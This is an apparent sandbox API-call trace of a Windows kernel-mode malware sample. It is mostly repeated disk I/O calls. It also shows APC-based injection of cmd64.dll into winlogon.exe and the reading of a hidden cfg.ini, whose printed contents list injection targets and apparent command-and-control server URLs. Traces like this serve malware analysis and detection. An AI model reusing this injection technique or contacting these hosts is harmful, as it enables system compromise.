0xfffffa800d30e960 [0071.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.934] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.934] IdePortDispatch () returned 0x103 [0071.934] KeWaitForMutexObject () returned 0x0 [0071.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.934] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.934] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.934] IdePortDispatch () returned 0x103 [0071.934] KeWaitForMutexObject () returned 0x0 [0071.934] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.934] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.935] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.935] IdePortDispatch () returned 0x103 [0071.935] KeWaitForMutexObject () returned 0x0 [0071.935] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.935] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.935] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.935] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.935] IdePortDispatch () returned 0x103 [0071.936] KeWaitForMutexObject () returned 0x0 [0071.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.936] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.936] IdePortDispatch () returned 0x103 [0071.936] KeWaitForMutexObject () returned 0x0 [0071.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.936] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.936] IdePortDispatch () returned 0x103 [0071.936] KeWaitForMutexObject () returned 0x0 [0071.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.936] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.936] IdePortDispatch () returned 0x103 [0071.936] KeWaitForMutexObject () returned 0x0 [0071.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.937] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.937] IdePortDispatch () returned 0x103 [0071.937] KeWaitForMutexObject () returned 0x0 [0071.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.937] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.937] IdePortDispatch () returned 0x103 [0071.937] KeWaitForMutexObject () returned 0x0 [0071.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.937] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.937] IdePortDispatch () returned 0x103 [0071.937] KeWaitForMutexObject () returned 0x0 [0071.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.937] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.937] IdePortDispatch () returned 0x103 [0071.938] KeWaitForMutexObject () returned 0x0 [0071.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.938] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.938] IdePortDispatch () returned 0x103 [0071.938] KeWaitForMutexObject () returned 0x0 [0071.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.938] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.938] IdePortDispatch () returned 0x103 [0071.939] KeWaitForMutexObject () returned 0x0 [0071.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.939] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.939] IdePortDispatch () returned 0x103 [0071.939] KeWaitForMutexObject () returned 0x0 [0071.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.939] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.939] IdePortDispatch () returned 0x103 [0071.940] KeWaitForMutexObject () returned 0x0 [0071.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.940] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.940] IdePortDispatch () returned 0x103 [0071.940] KeWaitForMutexObject () returned 0x0 [0071.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.943] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.943] IdePortDispatch () returned 0x103 [0071.943] KeWaitForMutexObject () returned 0x0 [0071.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.943] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.943] IdePortDispatch () returned 0x103 [0071.943] KeWaitForMutexObject () returned 0x0 [0071.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.944] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.944] IdePortDispatch () returned 0x103 [0071.944] KeWaitForMutexObject () returned 0x0 [0071.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.944] KeLeaveCriticalRegion () [0071.944] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.944] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800001dc, BaseAddress=0xfffff88002f8fae0, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f0, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae0*=0x10000, RegionSize=0xfffff88002f8f9f0*=0x14000) returned 0x0 [0071.945] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0071.945] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f8fad8 | out: Size=0xfffff88002f8fad8) returned 0x0 [0071.945] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800001dc, BaseAddress=0xfffff88002f8fae8, ZeroBits=0x0, RegionSize=0xfffff88002f8f9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f8fae8*=0x30000, RegionSize=0xfffff88002f8f9f8*=0x1000) returned 0x0 [0071.945] _snprintf (in: _Dest=0x30020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0071.945] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80018b22d0 [0071.945] KeInitializeApc (Apc=0xfffffa80018b22d0, Thread=0xfffffa80034ba910, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x30128, Mode=0xfffff88000000001, Context=0x30000) [0071.945] KeInsertQueueApc (Apc=0xfffffa80018b22d0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0071.945] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0071.945] ZwClose (Handle=0x14) returned 0x0 [0071.945] ZwClose (Handle=0xffffffff800001f4) returned 0x0 [0071.945] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.945] KeEnterCriticalRegion () [0071.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.945] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.945] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa800284a2f0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0071.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.945] KeLeaveCriticalRegion () [0071.945] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.946] KeUnstackDetachProcess (ApcState=0xfffff88002f8fa58) [0071.946] PsGetProcessImageFileName () returned 0xfffffa80034ba340 [0071.946] _snprintf (in: _Dest=0xfffffa800db40378, _Count=0x103, _Format="%s (x64)" | out: _Dest="winlogon.exe (x64)") returned 18 [0071.946] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0071.946] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800001f4, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0071.946] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.946] KeEnterCriticalRegion () [0071.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.946] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0071.946] IdePortDispatch () returned 0x103 [0071.946] KeWaitForMutexObject () returned 0x0 [0071.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.946] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0071.946] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0071.946] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0071.946] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800d9fa280 [0071.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.947] KeLeaveCriticalRegion () [0071.947] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.947] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0071.947] NtLockFile (in: FileHandle=0xffffffff800001f4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0071.947] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.947] KeEnterCriticalRegion () [0071.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0071.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.947] KeLeaveCriticalRegion () [0071.947] ZwQueryInformationFile (in: FileHandle=0xffffffff800001f4, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0071.947] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.947] KeEnterCriticalRegion () [0071.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.947] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0071.947] IdePortDispatch () returned 0x103 [0071.948] KeWaitForMutexObject () returned 0x0 [0071.948] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.948] KeLeaveCriticalRegion () [0071.948] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.948] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a00648d700 [0071.948] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0071.948] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0071.948] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="winlogon.exe (x64)=") returned 19 [0071.948] _strlwr (in: _Str="winlogon.exe (x64)=" | out: _Str="winlogon.exe (x64)=") returned="winlogon.exe (x64)=" [0071.948] ZwReadFile (in: FileHandle=0xffffffff800001f4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00648d700, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00648d700*) returned 0x0 [0071.948] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.948] KeEnterCriticalRegion () [0071.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.948] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003440700 [0071.948] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.948] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.948] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.948] IdePortDispatch () returned 0x103 [0071.949] KeWaitForMutexObject () returned 0x0 [0071.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.949] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.949] IdePortDispatch () returned 0x103 [0071.949] KeWaitForMutexObject () returned 0x0 [0071.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.949] KeLeaveCriticalRegion () [0071.949] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.949] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0071.949] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="winlogon.exe (x64)=") returned 0x0 [0071.949] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0071.949] ExFreePoolWithTag (P=0xfffff8a00648d700, Tag=0x0) [0071.950] ZwClose (Handle=0xffffffff800001f4) returned 0x0 [0071.950] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.950] KeEnterCriticalRegion () [0071.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.950] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.950] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003546050, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0071.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.950] KeLeaveCriticalRegion () [0071.950] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.950] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.950] KeEnterCriticalRegion () [0071.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.950] ExFreePoolWithTag (P=0xfffffa800d9fa280, Tag=0x0) [0071.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.950] KeLeaveCriticalRegion () [0071.950] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.950] ZwClose (Handle=0xffffffff800001dc) returned 0x0 [0071.950] KeSetEvent (in: Event=0xfffffa800db40050, Increment=0x0, Wait=0 | out: Event=0xfffffa800db40050) returned 0 [0073.741] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x1d4, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff80000240) returned 0x0 [0073.741] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0073.741] 